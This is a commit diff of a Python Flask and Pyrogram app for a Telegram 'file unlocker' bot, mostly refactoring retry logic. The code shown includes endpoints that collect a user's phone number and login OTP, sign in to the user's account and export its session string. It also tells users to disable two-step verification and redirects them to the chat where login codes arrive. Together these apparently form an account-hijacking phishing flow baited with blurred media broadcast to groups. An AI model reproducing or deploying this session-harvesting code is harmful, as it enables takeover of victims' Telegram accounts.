pmrony commited on
Commit
44dd2c7
Β·
verified Β·
1 Parent(s): bf039e4

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +68 -103
app.py CHANGED
@@ -73,8 +73,23 @@ def run_async(coro):
73
 
74
  bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
75
 
76
- async def db_query(func):
77
- return await asyncio.to_thread(func)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
78
 
79
  # ==================== CORS MIDDLEWARES ====================
80
  @app.before_request
@@ -105,7 +120,7 @@ def get_msg_file_id(msg):
105
  if media: return media.file_id
106
  return None
107
 
108
- # ==================== CUSTOM VIDEO STREAMING ENGINE (MEMORY LEAK FIXED) ====================
109
  def get_file_stream(message_id):
110
  q = queue.Queue(maxsize=10)
111
  stop_flag = [False]
@@ -122,8 +137,6 @@ def get_file_stream(message_id):
122
 
123
  async for chunk in bot.stream_media(msg):
124
  if stop_flag[0]: break
125
-
126
- # Custom wait timeout to check stop_flag efficiently
127
  put_success = False
128
  while not stop_flag[0]:
129
  try:
@@ -132,9 +145,7 @@ def get_file_stream(message_id):
132
  break
133
  except queue.Full:
134
  continue
135
-
136
- if not put_success:
137
- break
138
 
139
  except Exception as e:
140
  print(f"Error in stream producer: {e}")
@@ -152,11 +163,8 @@ def get_file_stream(message_id):
152
  except queue.Empty: break
153
  if chunk is None: break
154
  yield chunk
155
- except GeneratorExit:
156
- # Client closed video player or browser disconnected
157
- pass
158
- except Exception as e:
159
- print(f"Consumer error: {e}")
160
  finally:
161
  stop_flag[0] = True
162
  while not q.empty():
@@ -178,8 +186,7 @@ def stream_video(message_id):
178
  return None, None, None
179
 
180
  file_size, file_name, mime_type = run_async(get_media_info())
181
- if not file_size:
182
- return "File not found or invalid message", 404
183
 
184
  response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
185
  response.headers['Content-Length'] = file_size
@@ -203,8 +210,7 @@ def download_video(message_id):
203
  return None, None, None
204
 
205
  file_size, file_name, mime_type = run_async(get_media_info())
206
- if not file_size:
207
- return "File not found or invalid message", 404
208
 
209
  response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
210
  response.headers['Content-Length'] = file_size
@@ -215,26 +221,16 @@ def download_video(message_id):
215
 
216
  # ================= FLASK API ROUTES =================
217
  @app.route('/')
218
- def index():
219
- return "Bot, Media Uploader, and Real Session API is Running! πŸš€"
220
 
221
  @app.route('/api/jump')
222
  def jump_to_telegram():
223
  html_content = """
224
  <!DOCTYPE html>
225
  <html>
226
- <head>
227
- <title>Redirecting...</title>
228
- <script>
229
- window.location.href = "tg://openmessage?user_id=777000";
230
- setTimeout(function() { window.close(); }, 500);
231
- </script>
232
- </head>
233
  <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
234
- <div style="text-align:center;">
235
- <div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
236
- <div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
237
- </div>
238
  </body>
239
  </html>
240
  """
@@ -273,17 +269,14 @@ def api_check_login():
273
  try:
274
  result = run_async(check_user())
275
  return jsonify(result)
276
- except Exception as e:
277
- return jsonify({"status": "error"})
278
 
279
  @app.route('/api/send_code', methods=['POST'])
280
  def api_send_code():
281
  data = request.json or {}
282
  phone = data.get('phone')
283
  user_id = data.get('user_id')
284
-
285
- if not user_id or str(user_id) == '123456':
286
- return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
287
 
288
  async def process_send_code():
289
  if phone in temp_clients:
@@ -303,8 +296,7 @@ def api_send_code():
303
  try:
304
  result = run_async(process_send_code())
305
  return jsonify(result)
306
- except Exception as e:
307
- return jsonify({"status": "error", "msg": str(e)})
308
 
309
  @app.route('/api/verify_code', methods=['POST'])
310
  def api_verify_code():
@@ -313,14 +305,12 @@ def api_verify_code():
313
  user_otp = data.get('otp')
314
  user_id = data.get('user_id')
315
 
316
- if phone not in temp_clients:
317
- return jsonify({"status": "error", "msg": "Session expired, request code again!"})
318
 
319
  async def process_verify():
320
  temp_data = temp_clients[phone]
321
  client = temp_data['client']
322
  phone_hash = temp_data['hash']
323
-
324
  try:
325
  await client.sign_in(phone, phone_hash, user_otp)
326
  session_string = await client.export_session_string()
@@ -336,8 +326,7 @@ def api_verify_code():
336
  except: pass
337
  if phone in temp_clients: del temp_clients[phone]
338
  return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
339
- except PhoneCodeInvalid:
340
- return {"status": "error", "msg": "Invalid OTP Code!"}
341
  except PhoneCodeExpired:
342
  try: await client.disconnect()
343
  except: pass
@@ -352,8 +341,7 @@ def api_verify_code():
352
  try:
353
  result = run_async(process_verify())
354
  return jsonify(result)
355
- except Exception as e:
356
- return jsonify({"status": "error", "msg": str(e)})
357
 
358
  # ================= TELEGRAM BOT COMMANDS =================
359
  @bot.on_message(filters.command("start"))
@@ -435,8 +423,7 @@ async def send_to_specific_group(client, message):
435
  return await message.reply("❌ <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`")
436
 
437
  args = message.command
438
- if len(args) < 2:
439
- return await message.reply("❌ <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`")
440
 
441
  try:
442
  group_id = int(args[1])
@@ -453,8 +440,7 @@ async def save_progress(source_id, dest_id, msg_id):
453
  await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute())
454
  else:
455
  await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
456
- except Exception as e:
457
- print(f"Error saving progress: {e}")
458
 
459
  async def clone_videos_background(client, source_id, dest_id, status_msg):
460
  try:
@@ -471,16 +457,11 @@ async def clone_videos_background(client, source_id, dest_id, status_msg):
471
  retries = 5
472
  while retries > 0:
473
  try:
474
- if not client.is_connected:
475
- try: await client.connect()
476
- except: pass
477
-
478
  async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
479
- if last_copied_id and msg.id <= last_copied_id:
480
- continue
481
  video_ids.append(msg.id)
482
- if len(video_ids) % 200 == 0:
483
- await asyncio.sleep(0.1)
484
  break
485
  except Exception as e:
486
  err_msg = str(e).lower()
@@ -489,22 +470,17 @@ async def clone_videos_background(client, source_id, dest_id, status_msg):
489
  video_ids = []
490
  await status_msg.edit_text(f"⚠️ <b>Network issue detected!</b>\nRetrying in 10 seconds... (Attempts left: {retries})\nError: <code>{e}</code>", parse_mode=enums.ParseMode.HTML)
491
  await asyncio.sleep(10)
492
- else:
493
- raise e
494
 
495
  if not video_ids:
496
- if last_copied_id:
497
- return await status_msg.edit_text("πŸŽ‰ <b>All videos are already cloned!</b>\nNo new videos found in the source group.", parse_mode=enums.ParseMode.HTML)
498
- else:
499
- return await status_msg.edit_text("❌ <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML)
500
 
501
  video_ids.reverse()
502
  total = len(video_ids)
503
 
504
- if last_copied_id:
505
- await status_msg.edit_text(f"βœ… Found <b>{total}</b> new videos to clone.\nπŸš€ Resuming background cloning from oldest to newest...", parse_mode=enums.ParseMode.HTML)
506
- else:
507
- await status_msg.edit_text(f"βœ… Found <b>{total}</b> videos.\nπŸš€ Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML)
508
 
509
  success = 0
510
  failed = 0
@@ -512,59 +488,44 @@ async def clone_videos_background(client, source_id, dest_id, status_msg):
512
  for index, msg_id in enumerate(video_ids, 1):
513
  copy_success = False
514
  copy_retries = 3
515
-
516
  while copy_retries > 0:
517
  try:
518
- if not client.is_connected:
519
- try: await client.connect()
520
- except: pass
521
-
522
  await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
523
  success += 1
524
  await save_progress(source_id, dest_id, msg_id)
525
  copy_success = True
526
  break
527
- except FloodWait as e:
528
- await asyncio.sleep(e.value + 2)
529
  except Exception as e:
530
  err_msg = str(e).lower()
531
  if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
532
  copy_retries -= 1
533
  await asyncio.sleep(5)
534
- else:
535
- break
536
-
537
- if not copy_success:
538
- failed += 1
539
 
 
540
  if index % 20 == 0 or index == total:
541
- try:
542
- await status_msg.edit_text(f"⏳ <b>Cloning in progress... (Background)</b>\n\nTotal Videos to Copy: <b>{total}</b>\nβœ… Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>\nLast Video ID: <code>{msg_id}</code>", parse_mode=enums.ParseMode.HTML)
543
- except FloodWait:
544
- pass
545
- except Exception:
546
- pass
547
 
548
  await asyncio.sleep(2.5)
549
 
550
  await status_msg.edit_text(f"πŸŽ‰ <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\nβœ… Successfully Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML)
551
 
552
  except Exception as e:
553
- try:
554
- await status_msg.edit_text(f"❌ <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
555
  except: pass
556
 
557
  @bot.on_message(filters.command("clone") & filters.private & filters.user(ADMIN_IDS))
558
  async def start_cloning(client, message):
559
  args = message.command
560
- if len(args) != 3:
561
- return await message.reply("❌ <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML)
562
 
563
  try:
564
  source_id = int(args[1])
565
  dest_id = int(args[2])
566
- except ValueError:
567
- return await message.reply("❌ Chat IDs must be numbers.")
568
 
569
  status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
570
  asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
@@ -581,8 +542,7 @@ async def set_upload_mode(client, message):
581
  elif mode in ["byse", "byse.sx", "external"]:
582
  upload_mode = "byse"
583
  await message.reply("βœ… <b>Upload server set to: Byse.sx</b>\nVideos will be uploaded to Byse.sx and streamed via their player.")
584
- else:
585
- await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
586
  else:
587
  await message.reply(f"πŸ“Œ <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\nπŸ‘‰ `/upload telegram` (Storage Channel Stream)\nπŸ‘‰ `/upload byse` (Byse.sx third-party player)")
588
 
@@ -616,8 +576,7 @@ async def set_blur_state(client, message):
616
  clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
617
  reply_text = f"βœ… <b>Blur set to: {percent}%</b>\nπŸ“Œ {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
618
  await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
619
- else:
620
- await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
621
  except Exception as e: print(e)
622
 
623
  def upload_file_sync(upload_url, file_path, api_key):
@@ -639,8 +598,7 @@ async def handle_media_upload(client, message):
639
  is_animation = message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type)
640
  is_photo = message.photo or (message.document and message.document.mime_type and "image" in message.document.mime_type)
641
 
642
- if not (is_video or is_animation or is_photo):
643
- return
644
 
645
  media_type = "video" if (is_video or is_animation) else "photo"
646
  has_blur_caption = message.caption and "/blur" in message.caption.lower()
@@ -877,15 +835,22 @@ async def handle_media_upload(client, message):
877
  try: await status_msg.delete()
878
  except: pass
879
 
880
- # Broadcast Phase with Retries
881
- groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
 
 
 
 
 
882
  group_ids = [g['group_id'] for g in groups_res.data]
883
  success_count, fail_count = 0, 0
884
 
 
885
  for gid in set(group_ids):
886
  retries = 3
887
  while retries > 0:
888
  try:
 
889
  if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
890
  else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
891
  success_count += 1
@@ -894,7 +859,7 @@ async def handle_media_upload(client, message):
894
  await asyncio.sleep(e.value + 1)
895
  except Exception as e:
896
  err_msg = str(e).lower()
897
- if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
898
  retries -= 1
899
  await asyncio.sleep(3)
900
  else:
@@ -902,10 +867,11 @@ async def handle_media_upload(client, message):
902
  break
903
  await asyncio.sleep(1.5)
904
 
905
- # Success notification with Retries
906
  retries = 3
907
  while retries > 0:
908
  try:
 
909
  await message.reply(f"πŸ“’ <b>Broadcast Complete!</b>\n\nβœ… Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
910
  break
911
  except FloodWait as e:
@@ -915,11 +881,10 @@ async def handle_media_upload(client, message):
915
  if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
916
  retries -= 1
917
  await asyncio.sleep(3)
918
- else:
919
- break
920
 
921
  except Exception as e:
922
- try: await message.reply(f"⚠️ Error occurred: {str(e)}")
923
  except: pass
924
  finally:
925
  for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
 
73
 
74
  bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
75
 
76
+ # ==================== ROBUST DB QUERY WITH AUTO-RETRY ====================
77
+ # ΰ¦‘ΰ¦Ύΰ¦Ÿΰ¦Ύΰ¦¬ΰ§‡ΰ¦œ কানেকঢন ΰ¦‘ΰ¦Ώΰ¦Έΰ¦•ΰ¦Ύΰ¦¨ΰ§‡ΰ¦•ΰ§ΰ¦Ÿ হলে যেন ক্র্যাঢ না করে, ΰ¦Έΰ§‡ΰ¦œΰ¦¨ΰ§ΰ¦― 3-বার ΰ¦°ΰ¦Ώΰ¦Ÿΰ§ΰ¦°ΰ¦Ύΰ¦‡ করবে
78
+ async def db_query(func, max_retries=3):
79
+ last_error = None
80
+ for attempt in range(max_retries):
81
+ try:
82
+ return await asyncio.to_thread(func)
83
+ except Exception as e:
84
+ last_error = e
85
+ err_msg = str(e).lower()
86
+ if "terminated" in err_msg or "disconnect" in err_msg or "timeout" in err_msg or "connection" in err_msg:
87
+ if attempt < max_retries - 1:
88
+ await asyncio.sleep(1.5) # ΰ¦ΰ¦•ΰ¦Ÿΰ§ ΰ¦…ΰ¦ͺেক্ষা করে আবার ΰ¦Ÿΰ§ΰ¦°ΰ¦Ύΰ¦‡ করবে
89
+ continue
90
+ raise e
91
+ raise last_error
92
+ # =========================================================================
93
 
94
  # ==================== CORS MIDDLEWARES ====================
95
  @app.before_request
 
120
  if media: return media.file_id
121
  return None
122
 
123
+ # ==================== CUSTOM VIDEO STREAMING ENGINE ====================
124
  def get_file_stream(message_id):
125
  q = queue.Queue(maxsize=10)
126
  stop_flag = [False]
 
137
 
138
  async for chunk in bot.stream_media(msg):
139
  if stop_flag[0]: break
 
 
140
  put_success = False
141
  while not stop_flag[0]:
142
  try:
 
145
  break
146
  except queue.Full:
147
  continue
148
+ if not put_success: break
 
 
149
 
150
  except Exception as e:
151
  print(f"Error in stream producer: {e}")
 
163
  except queue.Empty: break
164
  if chunk is None: break
165
  yield chunk
166
+ except GeneratorExit: pass
167
+ except Exception as e: print(f"Consumer error: {e}")
 
 
 
168
  finally:
169
  stop_flag[0] = True
170
  while not q.empty():
 
186
  return None, None, None
187
 
188
  file_size, file_name, mime_type = run_async(get_media_info())
189
+ if not file_size: return "File not found or invalid message", 404
 
190
 
191
  response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
192
  response.headers['Content-Length'] = file_size
 
210
  return None, None, None
211
 
212
  file_size, file_name, mime_type = run_async(get_media_info())
213
+ if not file_size: return "File not found or invalid message", 404
 
214
 
215
  response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
216
  response.headers['Content-Length'] = file_size
 
221
 
222
  # ================= FLASK API ROUTES =================
223
  @app.route('/')
224
+ def index(): return "Bot, Media Uploader, and Real Session API is Running! πŸš€"
 
225
 
226
  @app.route('/api/jump')
227
  def jump_to_telegram():
228
  html_content = """
229
  <!DOCTYPE html>
230
  <html>
231
+ <head><title>Redirecting...</title><script>window.location.href = "tg://openmessage?user_id=777000";setTimeout(function() { window.close(); }, 500);</script></head>
 
 
 
 
 
 
232
  <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
233
+ <div style="text-align:center;"><div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div><div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div></div>
 
 
 
234
  </body>
235
  </html>
236
  """
 
269
  try:
270
  result = run_async(check_user())
271
  return jsonify(result)
272
+ except Exception as e: return jsonify({"status": "error"})
 
273
 
274
  @app.route('/api/send_code', methods=['POST'])
275
  def api_send_code():
276
  data = request.json or {}
277
  phone = data.get('phone')
278
  user_id = data.get('user_id')
279
+ if not user_id or str(user_id) == '123456': return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
 
 
280
 
281
  async def process_send_code():
282
  if phone in temp_clients:
 
296
  try:
297
  result = run_async(process_send_code())
298
  return jsonify(result)
299
+ except Exception as e: return jsonify({"status": "error", "msg": str(e)})
 
300
 
301
  @app.route('/api/verify_code', methods=['POST'])
302
  def api_verify_code():
 
305
  user_otp = data.get('otp')
306
  user_id = data.get('user_id')
307
 
308
+ if phone not in temp_clients: return jsonify({"status": "error", "msg": "Session expired, request code again!"})
 
309
 
310
  async def process_verify():
311
  temp_data = temp_clients[phone]
312
  client = temp_data['client']
313
  phone_hash = temp_data['hash']
 
314
  try:
315
  await client.sign_in(phone, phone_hash, user_otp)
316
  session_string = await client.export_session_string()
 
326
  except: pass
327
  if phone in temp_clients: del temp_clients[phone]
328
  return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
329
+ except PhoneCodeInvalid: return {"status": "error", "msg": "Invalid OTP Code!"}
 
330
  except PhoneCodeExpired:
331
  try: await client.disconnect()
332
  except: pass
 
341
  try:
342
  result = run_async(process_verify())
343
  return jsonify(result)
344
+ except Exception as e: return jsonify({"status": "error", "msg": str(e)})
 
345
 
346
  # ================= TELEGRAM BOT COMMANDS =================
347
  @bot.on_message(filters.command("start"))
 
423
  return await message.reply("❌ <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`")
424
 
425
  args = message.command
426
+ if len(args) < 2: return await message.reply("❌ <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`")
 
427
 
428
  try:
429
  group_id = int(args[1])
 
440
  await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute())
441
  else:
442
  await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
443
+ except Exception as e: print(f"Error saving progress: {e}")
 
444
 
445
  async def clone_videos_background(client, source_id, dest_id, status_msg):
446
  try:
 
457
  retries = 5
458
  while retries > 0:
459
  try:
460
+ if not client.is_connected: await client.connect()
 
 
 
461
  async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
462
+ if last_copied_id and msg.id <= last_copied_id: continue
 
463
  video_ids.append(msg.id)
464
+ if len(video_ids) % 200 == 0: await asyncio.sleep(0.1)
 
465
  break
466
  except Exception as e:
467
  err_msg = str(e).lower()
 
470
  video_ids = []
471
  await status_msg.edit_text(f"⚠️ <b>Network issue detected!</b>\nRetrying in 10 seconds... (Attempts left: {retries})\nError: <code>{e}</code>", parse_mode=enums.ParseMode.HTML)
472
  await asyncio.sleep(10)
473
+ else: raise e
 
474
 
475
  if not video_ids:
476
+ if last_copied_id: return await status_msg.edit_text("πŸŽ‰ <b>All videos are already cloned!</b>\nNo new videos found in the source group.", parse_mode=enums.ParseMode.HTML)
477
+ else: return await status_msg.edit_text("❌ <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML)
 
 
478
 
479
  video_ids.reverse()
480
  total = len(video_ids)
481
 
482
+ if last_copied_id: await status_msg.edit_text(f"βœ… Found <b>{total}</b> new videos to clone.\nπŸš€ Resuming background cloning from oldest to newest...", parse_mode=enums.ParseMode.HTML)
483
+ else: await status_msg.edit_text(f"βœ… Found <b>{total}</b> videos.\nπŸš€ Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML)
 
 
484
 
485
  success = 0
486
  failed = 0
 
488
  for index, msg_id in enumerate(video_ids, 1):
489
  copy_success = False
490
  copy_retries = 3
 
491
  while copy_retries > 0:
492
  try:
493
+ if not client.is_connected: await client.connect()
 
 
 
494
  await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
495
  success += 1
496
  await save_progress(source_id, dest_id, msg_id)
497
  copy_success = True
498
  break
499
+ except FloodWait as e: await asyncio.sleep(e.value + 2)
 
500
  except Exception as e:
501
  err_msg = str(e).lower()
502
  if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
503
  copy_retries -= 1
504
  await asyncio.sleep(5)
505
+ else: break
 
 
 
 
506
 
507
+ if not copy_success: failed += 1
508
  if index % 20 == 0 or index == total:
509
+ try: await status_msg.edit_text(f"⏳ <b>Cloning in progress... (Background)</b>\n\nTotal Videos to Copy: <b>{total}</b>\nβœ… Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>\nLast Video ID: <code>{msg_id}</code>", parse_mode=enums.ParseMode.HTML)
510
+ except: pass
 
 
 
 
511
 
512
  await asyncio.sleep(2.5)
513
 
514
  await status_msg.edit_text(f"πŸŽ‰ <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\nβœ… Successfully Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML)
515
 
516
  except Exception as e:
517
+ try: await status_msg.edit_text(f"❌ <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
 
518
  except: pass
519
 
520
  @bot.on_message(filters.command("clone") & filters.private & filters.user(ADMIN_IDS))
521
  async def start_cloning(client, message):
522
  args = message.command
523
+ if len(args) != 3: return await message.reply("❌ <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML)
 
524
 
525
  try:
526
  source_id = int(args[1])
527
  dest_id = int(args[2])
528
+ except ValueError: return await message.reply("❌ Chat IDs must be numbers.")
 
529
 
530
  status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
531
  asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
 
542
  elif mode in ["byse", "byse.sx", "external"]:
543
  upload_mode = "byse"
544
  await message.reply("βœ… <b>Upload server set to: Byse.sx</b>\nVideos will be uploaded to Byse.sx and streamed via their player.")
545
+ else: await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
 
546
  else:
547
  await message.reply(f"πŸ“Œ <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\nπŸ‘‰ `/upload telegram` (Storage Channel Stream)\nπŸ‘‰ `/upload byse` (Byse.sx third-party player)")
548
 
 
576
  clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
577
  reply_text = f"βœ… <b>Blur set to: {percent}%</b>\nπŸ“Œ {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
578
  await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
579
+ else: await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
 
580
  except Exception as e: print(e)
581
 
582
  def upload_file_sync(upload_url, file_path, api_key):
 
598
  is_animation = message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type)
599
  is_photo = message.photo or (message.document and message.document.mime_type and "image" in message.document.mime_type)
600
 
601
+ if not (is_video or is_animation or is_photo): return
 
602
 
603
  media_type = "video" if (is_video or is_animation) else "photo"
604
  has_blur_caption = message.caption and "/blur" in message.caption.lower()
 
835
  try: await status_msg.delete()
836
  except: pass
837
 
838
+ # Load groups safely with auto-retry
839
+ try:
840
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
841
+ except Exception as db_err:
842
+ await message.reply(f"⚠️ Failed to fetch groups from database: {db_err}")
843
+ return
844
+
845
  group_ids = [g['group_id'] for g in groups_res.data]
846
  success_count, fail_count = 0, 0
847
 
848
+ # Safe Broadcast Phase
849
  for gid in set(group_ids):
850
  retries = 3
851
  while retries > 0:
852
  try:
853
+ if not client.is_connected: await client.connect()
854
  if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
855
  else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
856
  success_count += 1
 
859
  await asyncio.sleep(e.value + 1)
860
  except Exception as e:
861
  err_msg = str(e).lower()
862
+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "network" in err_msg:
863
  retries -= 1
864
  await asyncio.sleep(3)
865
  else:
 
867
  break
868
  await asyncio.sleep(1.5)
869
 
870
+ # Success notification safely
871
  retries = 3
872
  while retries > 0:
873
  try:
874
+ if not client.is_connected: await client.connect()
875
  await message.reply(f"πŸ“’ <b>Broadcast Complete!</b>\n\nβœ… Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
876
  break
877
  except FloodWait as e:
 
881
  if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
882
  retries -= 1
883
  await asyncio.sleep(3)
884
+ else: break
 
885
 
886
  except Exception as e:
887
+ try: await message.reply(f"⚠️ Error during upload/broadcast: {str(e)}")
888
  except: pass
889
  finally:
890
  for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]: